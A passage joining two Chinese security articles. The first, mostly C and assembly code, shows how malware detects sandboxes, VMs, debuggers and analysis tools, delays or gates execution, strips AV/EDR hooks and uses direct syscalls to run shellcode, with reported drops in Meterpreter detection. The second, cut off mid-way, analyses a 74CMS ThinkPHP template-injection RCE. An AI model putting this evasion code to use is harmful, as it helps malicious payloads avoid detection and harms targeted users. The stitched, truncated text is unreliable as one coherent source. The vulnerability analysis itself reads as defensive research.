QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot'
CharUpperW(parentName);
if (wcsstr(parentName, L"WINDBG.EXE")) return;
wprintf_s(L"Now hacking...n");
}
#### 正在运行的进程
我们可以遍历所有正在运行的进程，检查是否有常见的分析工具，例如Wireshark，Procmon，x64dbg，IDA等。
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR processName[MAX_PATH + 1];
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
CharUpperW(processName);
if (wcsstr(processName, L"WIRESHARK.EXE")) exit(0);
} while (Process32NextW(hSnapshot, &processEntry));
}
wprintf_s(L"Now hacking...n");
#### 已加载的库
和进程一样，我们可以枚举每个进程地址空间中已加载的模块，检查是否有不应该存在的名称：
DWORD runningProcessesIDs[1024];
DWORD runningProcessesBytes;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesBytes);
for (int i = 0; i < runningProcessesBytes / sizeof(DWORD); i++)
{
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, runningProcessesIDs[i]);
if (!hProcess) continue;
HMODULE processModules[1024];
DWORD processModulesBytes;
int s1 = EnumProcessModules(hProcess, processModules, sizeof(processModules), &processModulesBytes);
for (int j = 0; j < processModulesBytes / sizeof(HMODULE); j++)
{
WCHAR moduleName[MAX_PATH + 1];
GetModuleFileNameExW(hProcess, processModules[j], moduleName, MAX_PATH);
CharUpperW(moduleName);
if (wcsstr(moduleName, L"DBGHELP.DLL")) exit(0);
}
}
wprintf_s(L"Now hacking...n");
#### 窗口名称
还可以检查窗口名称，看它是否表示环境中存在常见的恶意软件分析工具：
BOOL CALLBACK EnumWindowsProc(HWND hWindow, LPARAM parameter)
{
WCHAR windowTitle[1024];
GetWindowTextW(hWindow, windowTitle, sizeof(windowTitle));
CharUpperW(windowTitle);
if (wcsstr(windowTitle, L"SYSINTERNALS")) *(PBOOL)parameter = true;
return true;
}
void main()
{
bool debugged = false;
EnumWindows(EnumWindowsProc, (LPARAM)(&debugged));
if (debugged) return;
wprintf_s(L"Now hacking...n");
}
### 用户名、计算机名以及域名
沙箱和分析人员使用的计算机名和用户名通常不会在一般的工作站上遇到，比如说`Admin`，`Administrator`，`ADMIN-PC`等。此外，默认计算机名所遵循的模式`DESKTOP- [0-9A-Z] {7}`（或其他类似的带有随机字符的模式）在公司环境中很少出现。
我们可以将这些名称与已知的字符串进行比较：
//check computer name
DWORD computerNameLength;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;
//check user name
DWORD userNameLength;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;
因为我们的目标通常位于公司环境，所以我们可以假设正常情况下，用户的计算机属于某个域。可以检查计算机是否加入了某个域：
PWSTR domainName;
NETSETUP_JOIN_STATUS status;
NetGetJoinInformation(NULL, &domainName, &status);
if (status != NetSetupDomainName) return false;
### 屏幕分辨率
虚拟化环境很少使用多个显示器（尤其是沙箱）。虚拟显示器可能也没有特定的屏幕尺寸（尤其是处于自适应主机而不是全屏模式的时候，这时虚拟机窗口有滚动条或者选项卡）。
下面的代码示例有一点复杂。
首先检查了主显示器的分辨率是否过低，如果检查通过，就遍历所有显示器。`EnumDisplayMonitors`函数需要一个用户定义的回调函数，遍历的每个显示器都会调用该函数，函数的参数为显示器的句柄。
回调函数会检查每个显示器的分辨率是否是标准分辨率，返回结果给一个变量。如果存在显示器的宽度或高度不正常，程序就会认为它是在虚拟环境中运行的。
bool CALLBACK MyCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
MONITORINFO monitorInfo;
monitorInfo.cbSize = sizeof(MONITORINFO);
GetMonitorInfoW(hMonitor, &monitorInfo);
int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
int yResolution = monitorInfo.rcMonitor.top - monitorInfo.rcMonitor.bottom;
if (xResolution < 0) xResolution = -xResolution;
if (yResolution < 0) yResolution = -yResolution;
if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440)
|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900))
{
*((BOOL*)data) = true;
}
return true;
}
void main()
{
MONITORENUMPROC pMyCallback = (MONITORENUMPROC)MyCallback;
int xResolution = GetSystemMetrics(SM_CXSCREEN);
int yResolution = GetSystemMetrics(SM_CYSCREEN);
if (xResolution < 1000 && yResolution < 1000) return false;
int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
bool sandbox = false;
EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
if (sandbox) return;
wprintf_s(L"Now hacking...n");
}
使用该方法可以降低一点检测率（文件被标记为“unsafe”而不是“ Meterpreter”），而且也让检测引擎无法完全分析该可执行文件（IP
IoC没有被提取出来）：
### 不再纯净的系统
大多数虚拟环境看起来像是一个新安装的Windows系统。和一般的工作站相比，它们可能缺少某些使用过程中会出现的组件。比如说，注册表中会存储系统中已安装的USB数量。我们可以检查系统是否曾经安装过USB设备：
HKEY hKey;
DWORD mountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\ControlSet001\Enum\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (mountedUSBDevicesCount < 1) return false;
使用这个方法可以进一步降低检测率（Cylance把文件标记成了“unsafe”），并阻止对网络IoC的分析。
### 时区
如果是针对某个特定的用户或组织进行攻击，当所处环境的时区与目标不同时，也可以阻止程序的运行。还要确保系统时区名称不依赖于系统语言。
SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION dynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&dynamicTimeZoneInfo);
wchar_t timeZoneName[128 + 1];
StringCchCopyW(timeZoneName, 128, dynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(timeZoneName);
if (!wcsstr(timeZoneName, L"CENTRAL EUROPEAN STANDARD TIME")) return false;
该方法也可以降级检测率，阻止IoC分析：
## 自动化分析检测
有一些方法专门用于绕过自动化沙箱分析，这些方法的原理在于沙箱环境中可用的资源有限。通常来说，这样的执行环境缺少真实的网络连接，也无法进行用户交互。
### 网络连接
沙箱一般不支持网络连接，但它们可以模拟来自远程服务器的有效响应。 下面的代码让shellcode根据HTTP请求的结果决定是否运行：
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
BOOL status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!status) return false;
对我们来说，分析结果比没有检查HTTP连接的时候要好，而且VirusTotal的沙箱也没有提取到IP IoC。
目标服务器上其实收到了一个HTTP请求，这就说明有的检测引擎在“真实世界”中对程序做了分析。
我们可以进一步完善这种方法，只在收到特定响应时才执行shellcode：
HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, responseLength + 1);
WinHttpReadData(hRequest, response, responseLength, &responseLength);
if (atoi((PSTR)response) != 1337) return false;
结果（没有IP IoC）：
这个方法也可以使用HTTPS，DNS或其他网络协议。
### 用户交互
只有选定的沙箱可以模拟用户交互（比如点击弹出窗口）。我们可以在执行恶意代码之前弹出一个消息框：
MessageBoxW(NULL, L"Just click OK", L"Hello", 0);
事实上，`MessageBox`函数会根据点击的按钮返回一个值。我们可以使用其他参数创建更多的按钮，并且只在点击某个特定按钮时才继续执行。但是，这种方法必须假设用户会点击正确的按钮。而且我们可能也不希望用户在程序运行的时候看到任何信息。
int response = MessageBoxW(NULL, L"Do you want to restart your computer now?", L"Restart required", MB_YESNOCANCEL);
if (response == IDYES) return false;
这种方法可以绕过一些反病毒程序，但是MS Defender依然可以把它识别为“ Meterpreter trojan”：
接下来，我们使用包含具体数值的用户互动，例如等待用户将鼠标移动特定的距离。
对于一般用户来说，这个过程可能需要一两分钟，但沙箱可能需要更长时间（希望可以超过为模拟检测分配的时间）：
POINT currentMousePosition;
POINT previousMousePosition;
GetCursorPos(&previousMousePosition);
double mouseDistance = 0;
while (true)
{
GetCursorPos(¤tMousePosition);
mouseDistance += sqrt(
pow(currentMousePosition.x - previousMousePosition.x, 2) +
pow(currentMousePosition.y - previousMousePosition.y, 2)
);
Sleep(100);
previousMousePosition = currentMousePosition;
if (mouseDistance > 20000) break;
}
这次只有MS Defender（“ Meterpreter”）检测到该程序，VirusTotal的沙箱没有提取IP IoC：
### 之前的用户交互行为
沙箱可能没有之前用户与系统交互过程中产生的相关记录，比如说最近访问的文档列表可能没有任何内容或者内容很少。我们可以访问`%APPDATA%MicrosoftWindowsRecent`文件夹并计算其中的文件数量：
PWSTR recentFolder = NULL;
SHGetKnownFolderPath(FOLDERID_Recent, 0, NULL, &recentFolder);
wchar_t recentFolderFiles[MAX_PATH + 1] = L"";
StringCbCatW(recentFolderFiles, MAX_PATH, recentFolder);
StringCbCatW(recentFolderFiles, MAX_PATH, L"\*");
int numberOfRecentFiles = 0;
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(recentFolderFiles, &findFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
numberOfRecentFiles++;
} while (FindNextFileW(hFind, &findFileData));
}
if (numberOfRecentFiles >= 2) numberOfRecentFiles-=2; //exclude '.' and '..'
if (numberOfRecentFiles < 20) return false;
这个方法很有效，只有一个反病毒软件（AV）标记了该二进制文件（suspicious）,没有提取出IP IoC：
### 正在运行的进程数量
因为沙箱环境的资源有限，它可能会把允许运行的进程数降到最小。假设一个普通用户正常情况下至少会同时运行50个进程，遍历所有正在运行的进程：
DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;
VirusTotal没办法从该二进制文件中提取出IP IoC：
### 已运行时间
在沙箱中，系统的已运行时间可能很小，特别是如果每次分析文件时才启动虚拟环境。 我们在代码中使用64位的函数，因为常规的`GetTickCount`函数会在2
^ 32毫秒（497天）后溢出：
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 minutes
同样，MS Defender检测到了该程序，Cylance把程序标记为了“unsafe”，沙箱没有提取出IP IoC：
### 延迟执行
延迟执行可能会超出样本执行的时间限制，从而绕过沙箱分析。但并不是使用`Sleep(1000000)`语句就可以了， 沙箱可能直接加快函数的执行。
我们可以检查睡眠前后的系统已运行时间，也可以使用较低级别的用户空间API进行延迟（这样被AV发现的机会要少一些）。这么做需要动态获取函数地址，下一篇文章要讲到的API调用混淆会广泛使用该技巧。此外，`NtDelayExecution`函数使用的时间参数格式和`Sleep`不同：
ULONGLONG uptimeBeforeSleep = GetTickCount64();
typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
LARGE_INTEGER delay;
delay.QuadPart = -10000 * 100000; // 100 seconds
pNtDelayExecution(FALSE, &delay);
ULONGLONG uptimeAfterSleep = GetTickCount64();
if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) return false;
分析结果：Cylance标记为“unsafe”，沙箱没有提取出IP IoC：
#### Kernel-user shared data
一些复杂的沙箱可能会劫持`Sleep`函数（甚至是内核模式的`ZwDelayExecution`函数；但是我认为，现在内核劫持需要管理程序级别的访问权限）和`GetTickCount64`函数（或内核模式的`KeQueryTickCount`函数）。我们可以使用[`KUSER_SHARED_DATA`](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data/index.htm)
结构，该结构由系统内核（以只读模式）共享给用户模式使用，而且也包含有关“tick
count”的信息。这个结构始终位于内存中的同一地址（`0x7ffe0000`）。真实的系统运行时间（`KSYSTEM_TIME`结构）存储在偏移量为0x320的位置上。
我们可以直接从系统内存中读取该结构，并用它来检查沙箱是否控制了和tickcount有关的函数：
Sleep(1000000);
ULONG *PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG *PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG *PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD time = GetTickCount64();
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
if ((time - kernelTime) > 100 && (kernelTime - time) > 100) return false;
### 函数劫持（hooking）
AV、EDR或者沙箱都可以劫持特定函数（经常在恶意软件中使用的函数，例如用于代码注入的`NtCreateThreadEx`或用于内存读取的`NtReadVirtualMemory`，尤其是在`lsass.exe`转储用户凭据的时候）。如果函数被劫持，它的第一条指令通常会被覆盖成一个跳转指令，跳转到外部库中的另一个函数，从而进行进一步检查以恶意活动并决定是否阻止其继续运行。接下来看一下如何检测和修复函数劫持。
#### 检测并修复函数劫持
我们可以检查函数的汇编字节中是否有任何劫持迹象（例如`call`指令或`push`和`ret`指令的组合）。但还有一个更好的方法：我们可以比较加载到内存中的函数指令和硬盘上的`.dll`文件内容。
接下来用`ntdll.dll`中的`NtCreateThreadEx`函数做一个示范，看看如何获得dll文件内容。我们打开硬盘中的库文件并将其映射到内存，然后在它的头部寻找输出目录的相对位置，接下来，遍历存储在`AddressOfNames`数组中的函数名称，查找“NtCreateThreadEx”这个名字（[要找到实际的代码位置，需要遍历`AddressOfNameOrdinals`数组](https://resources.infosecinstitute.com/the-export-directory/)）。
// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\Windows\System32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);
// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);
// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "NtCreateThreadEx"))
{
pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
break;
}
}
// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;
现在我们模拟一下`MessageBoxW`被劫持后立即返回的情况（使用操作码C3，表示RET函数）。我们想要检测劫持，并使用硬盘上dll文件中的原始汇编代码对函数进行修复。如果我们想执行“黑名单”中（或带有被禁止的特定参数）的函数时，这种方法很有用。
// function hooking - usually done by AV/EDR/Sandbox
// this assumes that user32.dll is loaded into the process' address space
PVOID pMessageBoxW = GetProcAddress(GetModuleHandleW(L"user32.dll"), "MessageBoxW");
DWORD oldProtect;
VirtualProtect(pMessageBoxW, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
char hook[] = { 0xC3 }; // ret
memcpy(pMessageBoxW, hook, 1);
VirtualProtect(pMessageBoxW, 1, oldProtect, &oldProtect);
MessageBoxW(NULL, L"Hooked", L"Hooked", 0); // won't show up
// detect and fix the hook
PVOID pMessageBoxWOriginal = LoadDllFromDiskAndFindFunctionCode(); // see the previous code snippet
PVOID pMessageBoxWHooked = GetProcAddress(GetModuleHandleW(L"user32.dll"), "MessageBoxW");
if (memcmp(pMessageBoxWHooked, pMessageBoxWOriginal, 16))
{
DWORD oldProtection, tempProtection;
VirtualProtect(pMessageBoxW, 16, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy(pMessageBoxWHooked, pMessageBoxWOriginal, 16);
VirtualProtect(pMessageBoxW, 16, oldProtection, &tempProtection);
}
MessageBoxW(NULL, L"Fixed", L"Fixed", 0);
#### 直接进行系统调用
我们还可以使用另一种方法绕过用户模式下的API劫持，就是直接进行系统调用。首先，先使用Process Monitor分析一下我们的简单恶意软件。
回顾：该可执行文件注入shellcode并创建新的线程执行该shellcode：
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
Process Monitor捕获到了线程创建事件：
从图中对`NtCreateThreadEx`的调用可以发现代码调用了`CreateThread`函数。接下使用CPU指令`syscall`，执行切换到了内核模式（ring
0），该CPU指令的[syscall
ID](https://j00ru.vexillium.org/syscalls/nt/64/)存储在了EAX寄存器中。
如果`NtCreateThreadEx`函数被劫持了，那么在调用这个函数或其他更高级别的函数（如`CreateThread`等）时，我们就可能无法到达`syscall`。但是，我们可以通过直接从代码中生成`syscall`来绕过劫持，我们要做的就是把所有函数参数压入堆栈（可用C语言完成）然后调用`syscall`（使用汇编）。
首先，我们需要用汇编语言定义`NtCreateThreadEx`函数并将`.asm`文件添加到项目中。同时确保项目的“ Build
Customizations”选项中包含了Microsoft Macro Assembler文件。
.code
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 00bdh
syscall
ret
NtCreateThreadEx ENDP
end
然后在源代码中声明该外部方法：
EXTERN_C NTSTATUS(NTAPI NtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PTHREAD_START_ROUTINE lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID AttributeList
);
调用该函数：
HANDLE hThread;
HANDLE hProcess = GetCurrentProcess();
NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, FALSE, NULL, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
这样，我们就绕开了用户模式下对WinAPI的线程创建函数的所有劫持行为。但是我们在代码中硬编码的syscall
ID（`0xBD`）是针对特定版本的。如果想要支持不同的Windows版本，我们需要列出所有syscall
ID并动态检查系统版本。这里就要使用[SysWhispers](https://github.com/jthuraisamy/SysWhispers/)工具了。
我们可以使用这个工具生成C语言的必要函数和类型定义以及汇编语言的系统版本检查和syscall定义。
## 总结
在本文中，我们分析了各种恶意软件用来进行沙箱检测，虚拟机检测和自动分析检测的流行方法。
在下一篇文章中，我们会介绍多种调试器检测方法，并讨论如何让对我们的已编译代码的调试更加困难。
## 链接
请确保你查看了下面这些和此次主题有关的资源：
<https://github.com/Arvanaghi/CheckPlease>
<https://github.com/LordNoteworthy/al-khaser>
<https://github.com/a0rtega/pafish>
<https://github.com/CheckPointSW/InviZzzible>
<https://evasions.checkpoint.com/>
<https://github.com/hfiref0x/VBoxHardenedLoader>
<https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/>
<https://github.com/jthuraisamy/SysWhispers>
<https://github.com/j00ru/windows-syscalls>
<https://ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs> | 社区文章 |
### 0x00 前言
续师傅前些天跟我说骑士 CMS 更新了一个补丁，`assign_resume_tpl`这个全局函数出现了问题，让我分析看看，我看了下官网公告：
<http://www.74cms.com/news/show-2497.html>
`/Application/Common/Controller/BaseController.class.php`文件的`assign_resume_tpl`函数因为过滤不严格，导致了模板注入，可以进行远程命令执行。
### 0x01 知识背景
骑士 CMS 采用的同样是 Thinkphp 框架，不过其版本是 3.2.3，我们知道 3.2.3 的标准 URL 路径如下：
http://serverName/index.php/模块/控制器/操作
但骑士 CMS 采用的是普通模式，即传统的GET传参方式来指定当前访问的模块和操作，举个简单的例子，如果我们想要调用 Home 模块下的 User
控制器中的 login 方法如下：
http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块，c参数表示控制器，a参数表示操作/方法，后面的表示其他GET参数
当然，这些参数是可以改变的，如在系统配置中设置如下：
'VAR_MODULE' => 'module', // 默认模块获取变量
'VAR_CONTROLLER' => 'controller', // 默认控制器获取变量
'VAR_ACTION' => 'action', // 默认操作获取变量
那么刚才的地址就变成了：
http://localhost/?module=home&controller=user&action=login&var=value
知道这些那么这个漏洞就很清楚应该如何构造了
### 0x02 漏洞分析
漏洞文件：`/Application/Common/Controller/BaseController.class.php`中的`assign_resume_tpl`方法：
public function assign_resume_tpl($variable,$tpl){
foreach ($variable as $key => $value) {
$this->assign($key,$value);
}
return $this->fetch($tpl);
}
传入两个变量，其中`$tpl`变量被传到`fetch()`方法中，跟进该方法
`/ThinkPHP/Library/Think/View.class.php`
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
首先判断传入的模板文件是否为空，如果不为空，那么继续判断是否使用了PHP原生模板，我们查看配置文件：`/ThinkPHP/Conf/convention.php`
大概111 行：
'TMPL_ENGINE_TYPE' => 'Think', // 默认模板引擎 以下设置仅对使用Think模板引擎有效
'TMPL_CACHFILE_SUFFIX' => '.php', // 默认模板缓存后缀
'TMPL_DENY_FUNC_LIST' => 'echo,exit', // 模板引擎禁用函数
'TMPL_DENY_PHP' => false, // 默认模板引擎是否禁用PHP原生代码
可以看到骑士 CMS 默认启用的是Think模板，因此判断就进入了
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
将值带入数组，并传入`Hook::listen()`，并解析`view_parse`标签，继续跟进`/ThinkPHP/Library/Think/Hook.class.php`，大概
80 行：
/**
* 监听标签的插件
* @param string $tag 标签名称
* @param mixed $params 传入参数
* @return void
*/
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}
/**
* 执行某个插件
* @param string $name 插件名称
* @param string $tag 方法名（标签名）
* @param Mixed $params 传入的参数
* @return void
*/
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name();
return $addon->$tag($params);
}
也就是说当系统触发了`view_parse`事件，ThinkPHP会找到`Hook::listen()`方法，该方法会查找`$tags`中有没有绑定`view_parse`事件的方法，然后用foreach遍历`$tags`属性，并执行`Hook:exec`方法。
`Hook:exec`方法会检查行为名称，如果包含`Behavior`关键字，那么入口方法必须为`run`方法，而执行`run`方法的参数在调用`Hook::listen`时指定。
Hook的配置写在`/ThinkPHP/Mode/common.php`中，如下：
// 行为扩展定义
'tags' => array(
'app_init' => array(
'Behavior\BuildLiteBehavior', // 生成运行Lite文件
),
'app_begin' => array(
'Behavior\ReadHtmlCacheBehavior', // 读取静态缓存
),
'app_end' => array(
'Behavior\ShowPageTraceBehavior', // 页面Trace显示
),
'view_parse' => array(
'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、内置模板引擎和第三方模板引擎
),
'template_filter'=> array(
'Behavior\ContentReplaceBehavior', // 模板输出替换
),
'view_filter' => array(
'Behavior\WriteHtmlCacheBehavior', // 写入静态缓存
),
),
从配置文件可以看到`view_parse`标签执行了`ParseTemplateBehavior`这个类，因为所有行为扩展的入口都是`run`方法，所以我们只需要看`run`方法实现即可，`/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php`17
行左右：
class ParseTemplateBehavior {
// 行为扩展的执行入口必须是run
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) {
// 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
// 调用第三方模板引擎解析和输出
if(strpos($engine,'\\')){
$class = $engine;
}else{
$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content,$_data['var']);
}else { // 类没有定义
E(L('_NOT_SUPPORT_').': ' . $class);
}
}
}
从代码中知道第一次解析模板时（即模板文件没有缓存），调用了`fetch()`方法：
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
跟进文件`/ThinkPHP/Library/Think/Template.class.php`73 行左右：
/**
* 加载模板
* @access public
* @param string $templateFile 模板文件
* @param array $templateVar 模板变量
* @param string $prefix 模板标识前缀
* @return void
*/
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}
/**
* 加载主模板并缓存
* @access public
* @param string $templateFile 模板文件
* @param string $prefix 模板标识前缀
* @return string
* @throws ThinkExecption
*/
